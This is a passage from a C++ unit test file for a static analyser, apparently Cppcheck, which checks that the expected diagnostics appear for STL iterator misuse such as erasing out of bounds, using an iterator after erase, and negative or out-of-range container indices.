(error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n 